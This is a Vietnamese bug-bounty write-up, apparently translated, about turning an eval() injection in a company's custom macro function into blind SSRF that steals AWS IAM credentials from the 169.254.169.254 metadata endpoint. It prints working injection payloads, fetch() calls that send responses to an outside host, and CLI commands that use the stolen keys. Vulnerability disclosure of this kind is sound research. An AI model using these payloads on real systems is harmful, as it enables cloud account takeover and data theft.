Bài viết phân tích về một lỗ hổng tìm thấy trong một chương trình private bug bounty trên Hackerone. Hacker đã giành 12h30p để tìm kiếm, khai thác và viết báo cáo. Lỗ hổng này cho phép hacker trích xuất thông tin đăng nhập AWS, qua đó chiếm toàn bộ quyền tài khoản của công ty, bao gồm: 20 buckets và 80 instance EC2.
Giới thiệu
Để đảm bảo tính bí mật, Hacker đã tạm gọi công ty bị tấn công là ArticMonkey. Với mục đích hoạt động của mình, ArticMonkey đã phát triển một ngôn ngữ macro tùy chỉnh, hãy gọi nó là: Banan++, nó giống như một dạng của JavaScript.
Tập tin banan++.js ban đầu đã được thu nhỏ, nhưng vẫn còn rất lớn, được nén xuống còn 2.1M. Sau khi giải nén và tùy chỉnh định dạng, tập tin lên khoảng 2.5M, chứa 56441 dòng code với 2546981 ký tự. Bằng việc tìm kiếm các từ khóa liên quan tới Banan++, hàm đầu tiên được tìm thấy tại dòng 3348 và có tổng thể khoảng 135 hàm.
Tìm ra vấn đề
Hầu hết các hàm được sử dụng để thực hiện các thao tác liên quan tới thời gian hoặc các thao tác toán học. Sau một thời gian, một hàm có vẻ đầy hứa hẹn khi thực hiện gọi Union(), đây là đoạn code:
helper.prototype.Union = function () { for (var _len22 = arguments.length, args = Array(_len22), _key22 = 0; _key22 < _len22; _key22++) args[_key22] = arguments[_key22]; var value = args.shift(), symbol = args.shift(), results = args.filter(function (arg) { try { return eval(value + symbol + arg) } catch (e) { return !1 } }); return !!results.length } |
Nội dung hàm Union xuất hiện một hàm eval() trông khá thú vị. Về cơ bản, hàm eval có thể có từ 0 đến vô hạn tham số nhưng bắt đầu hữu ích nếu có từ 3 tham số trở lên. Hàm eval() được sử dụng để so sánh tham số thứ nhất với tham số thứ ba với sự trợ giúp của tham số thứ hai, sau đó quá trình này được lặp lại với các tham số thứ 4, thứ 5, v.v. Kiểu sử dụng thông thường có dạng Union(1,'<‘,3);. Giá trị trả về true nếu ít nhất một trong các thử nghiệm này là đúng ngược lại, hàm trả về false.
Đón Xem: Chuyên đề phân tích mã độc Tại Đây
Tuy nhiên, hoàn toàn không có một cách cụ thể nào được thực hiện hoặc thử nghiệm liên quan đến loại và giá trị của các tham số. Sử dụng hàm alert() để thực hiện kiểm tra và phát hiện nhiều cách khác nhau có thể tiến hành khai thác hàm này:
Union( ‘alert()//’, ‘2’, ‘3’ ); Union( ‘1’, ‘2;alert();’, ‘3’ ); Union( ‘1’, ‘2’, ‘3;alert()’ ); … |
Tìm một điểm khai thác
Sau khi phát hiện một hàm tồn tại lỗ hổng, cần xác định một đầu vào để tiêm một số mã độc. Tìm kiếm một số tham số POST sử dụng các hàm Banna++, kiểm tra lại trong lịch sử Burp Suite đã có, một số nội dung giúp tìm ra manh mối:
POST /REDACTED HTTP/1.1 Host: api.REDACTED.com Connection: close Content-Length: 232 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3502.0 Safari/537.36 autochrome/red Content-Type: application/json;charset=UTF-8 Referer: https://app.REDACTED.com/REDACTED Accept-Encoding: gzip, deflate Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: auth=REDACTED {…REDACTED…,”operation”:”( Year( CurrentDate() ) > 2017 )”} |
Response:
HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 54 Connection: close X-Content-Type-Options: nosniff X-Xss-Protection: 1 Strict-Transport-Security: max-age=15768000; includeSubDomains …REDACTED… [{“name”:”REDACTED”,…REDACTED…}] |
Tham số operation dường như là một điểm vào có khả năng gây lỗi cao.
Thực hiện “tiêm” mã độc
Để tìm ra các mã có thể tiêm được, hacker đã thực hiện các thử nghiệm:
{…REDACTED…,”operation”:”‘\”><“} {“status”:400,”message”:”Parse error on line 1…REDACTED…”} {…REDACTED…,”operation”:null} [] {…REDACTED…,”operation”:”0″} [] {…REDACTED…,”operation”:”1″} [{“name”:”REDACTED”,…REDACTED…}] {…REDACTED…,”operation”:”a”} {“status”:400,”message”:”Parse error on line 1…REDACTED…”} {…REDACTED…,”operation”:”a=1″} {“status”:400,”message”:”Parse error on line 1…REDACTED…”} {…REDACTED…,”operation”:”alert”} {“status”:400,”message”:”Parse error on line 1…REDACTED…”} {…REDACTED…,”operation”:”alert()”} {“status”:400,”message”:”Function ‘alert’ is not defined”} {…REDACTED…,”operation”:”Union()”} [] |
Sau một loạt các thử nghiệm, đã giúp đưa ra một số kết luận về lỗ hổng này:
- Không thể tiêm các dữ liệu bất kì
- Có thể tiêm các hàm Banna++
- Dữ liệu trả về (Response) dường như hoạt động phụ thuộc vào việc diễn giải của tham số operation là đúng hay sai (việc này có vẻ rất hữu ích để xác định việc tiêm mã thành công)
Hãy tiếp tục với hàm Union():
{…REDACTED…,”operation”:”Union(1,2,3)”} {“status”:400,”message”:”Parse error on line 1…REDACTED…”} {…REDACTED…,”operation”:”Union(a,b,c)”} {“status”:400,”message”:”Parse error on line 1…REDACTED…”} {…REDACTED…,”operation”:”Union(‘a’,’b’,’c’)”} {“status”:400,”message”:”Parse error on line 1…REDACTED…”} {…REDACTED…,”operation”:”Union(‘a’;’b’;’c’)”} [{“name”:”REDACTED”,…REDACTED…}] {…REDACTED…,”operation”:”Union(‘1′;’2′;’3’)”} [{“name”:”REDACTED”,…REDACTED…}] {…REDACTED…,”operation”:”Union(‘1’;'<‘;’3’)”} [{“name”:”REDACTED”,…REDACTED…}] {…REDACTED…,”operation”:”Union(‘1′;’>’;’3′)”} []] |
Nếu 1 < 3 thì phản hồi chứa dữ liệu hợp lệ (true), nhưng nếu 1 > 3 thì phản hồi trống (false). Các tham số phải được phân tách bằng dấu chấm phẩy. Như vậy đã có đầy đủ thông tin để thử nghiệm một cuộc tấn công thực sự.
fetch là một dạng mới của phương thức XMLHttpRequest
Vì yêu cầu là một khi ajax gọi đến api sẽ chỉ trả về JSON data, nên rõ ràng đây không phải là lệnh injection phía máy người dùng. Nghiên cứu thêm về ArticMonkey, trong một số báo cáo có đề cập họ có xu hướng sử dụng rất nhiều JavaScript dạng server side.
Sau khi thử nghiệm nhiều lần trên máy cá nhân, hacker đã biết chính xác cách tiêm mã độc. Hacker đã cố gắng thực hiện một số phép thử sử dụng AJAX để thực hiện các truy vấn HTTP:
x = new XMLHttpRequest; x.open( ‘GET’,’https://poc.myserver.com’ ); x.send(); |
i = document.createElement( ‘img’ ); i.src = ‘<img src=”https://poc.myserver.com/xxx.png”>’; document.body.appendChild( i ); |
document.body.innerHTML += ‘<img src=”https://poc.myserver.com/xxx.png”>’; document.body.innerHTML += ‘<iframe src=”https://poc.myserver.com”>’; |
Tuy nhiên, vẫn không có bất kì thông tin hữu ích nào được ghi nhận. Tiếp tục điều tra về ArticMonkey, hacker phát hiện họ sử dụng ReactJS.
Tìm kiếm các thông tin trên Google để xác định cách thực hiện các truy vấn sử dụng AJAX, hacker tìm thấy giải pháp trong tài liệu AJAX and APIs, trong tài liệu mô tả hàm fetch () là tiêu chuẩn mới để thực hiện gọi ajax, đó là chính là chìa khóa của vấn đề.
Để thuận lợi cho các thử nghiệm tránh bị hệ thống của ArticMonkey phát hiện, hacker đã dựng một máy chủ POC chạy Apache và thử tiêm với nội dung như sau:
fetch(‘https://poc.myserver.com’) |
Ngay lập tức có một dòng mới xuất hiện trong Apache log trên server. Đây chắc hẳn là lỗ hổng blind SSR. Để thực hiện tấn công cần xâu chuỗi hai truy vấn trong đó yêu cầu thứ hai sẽ sử dụng kết quả của yêu cầu thứ nhất. Giống như:
x1 = new XMLHttpRequest; x1.open( ‘GET’,’https://…’, false ); x1.send(); r = x1.responseText; x2 = new XMLHttpRequest; x2.open( ‘GET’,’https://poc.myserver.com/?r=’+r, false ); x2.send(); |
Tìm kiếm thông tin qua StackOverflow để xem cách thức hàm fetch() hỗ trợ truy vấn dạng như trên hay không. Cuối cùng, hacker có được một PoC ưng ý:
fetch(‘https://…’).then(res=>res.text()).then((r)=>fetch(‘https://poc.myserver.com/?r=’+r)); |
Tuy nhiên, ArticMonkey đã cấu hình phân quyền truy cập (CORS).
SSRF for the win
Từ PoC ưng ý, hacker đã cố gắng đọc các tệp máy cá nhân nhưng thông tin trả về trong log của Apache không có thông tin:
fetch(‘file:///etc/issue’).then(res=>res.text()).then((r)=>fetch(‘https://poc.myserver.com/?r=’+r)); |
Tiếp tục tìm kiếm thông tin trên internet, hacker tìm thấy một số nhóm S3 liên quan đến ArticMonkey (articmonkey-xxx) và nghĩ rằng công ty này cũng có thể sử dụng máy chủ AWS cho ứng dụng web của họ (cũng được xác nhận bởi header trong một số response x-cache: Hit from cloudfront). Do đó, sau khi kiểm tra danh sách SSRF URL for Cloud Instances phổ biến nhất, Hacker đã phát hiện ra chìa khóa sau khi cố gắng truy cập vào metadata.
Giải mã output trả về danh sách thư mục (directory listing):
ami-id ami-launch-index ami-manifest-path block-device-mapping/ hostname iam/ … |
Payload cuối cùng:
{…REDACTED…,”operation”:”Union(‘1′;’2;fetch(\”http://169.254.169.254/latest/meta-data/\”).then(res=>res.text()).then((r)=>fetch(\”https://poc.myserver.com/?r=\”+r));’;’3′)”} |
Cố gắng truy cập tất cả các tập tin để thu thập thêm nhiều thông tin, hacker phát hiện cấu hình thông tin truy cập được lưu trữ tại địa chỉ: http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>
{ “Code”:”Success”, “Type”:”AWS-HMAC”, “AccessKeyId”:”…REDACTED…”, “SecretAccessKey”:”…REDACTED…”, “Token”:”…REDACTED…”, “Expiration”:”2018-09-06T19:24:38Z”, “LastUpdated”:”2018-09-06T19:09:38Z” |
Khai thác thông tin đăng nhập
Để tăng sự nghiêm trọng của lỗi này, hacker tiếp tục thử nghiệm để tấn công sâu hơn vào hệ thống. Qua nghiên cứu về cách thức quản lí định danh và truy cập của AWS trong tài liệu: UserGuide of AWS Identity and Access Management, hacker thực hiện các thử nghiệm và đã đăng nhập thành công vào hệ thống:
$ export AWS_ACCESS_KEY_ID=AKIAI44… $ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI… $ export AWS_SESSION_TOKEN=AQoDYXdzEJr… |
aws sts get-caller-identity |
Và sau đó, hacker tiến hành thu thập các thông tin:
Bên trái: danh sách các phiên bản EC2 được cấu hình bởi ArticMonkey. Có lẽ là một phần lớn hoặc toàn bộ hệ thống của họ.
Bên phải: công ty sở hữu 20 bucket containing, dữ liệu rất nhạy cảm từ khách hàng, tệp tĩnh cho ứng dụng web, theo tên của nhóm, có thể là log/backup máy chủ của họ.
Mức độ ảnh hưởng: cực kì nguy hiểm.
Phần kết luận
Với lỗ hổng này, hacker đã học được rất nhiều kiến thức thú vị:
- ReactJS, fetch (), AWS metadata.
- HÃY ĐỌC KỸ HƯỚNG DẪN! Các tài liệu chính thức luôn là một nguồn thông tin tuyệt vời.
- Ở mỗi bước, vấn đề mới sẽ xuất hiện. Chúng ta phải tìm kiếm khắp nơi, thử nhiều thứ khác nhau và phải vượt qua giới hạn của mình để không bỏ cuộc.
- Bạn hoàn toàn có thể tự phá hủy một hệ thống bắt đầu từ con số không, đó là một thành tích và sự thỏa mãn cá nhân tuyệt vời.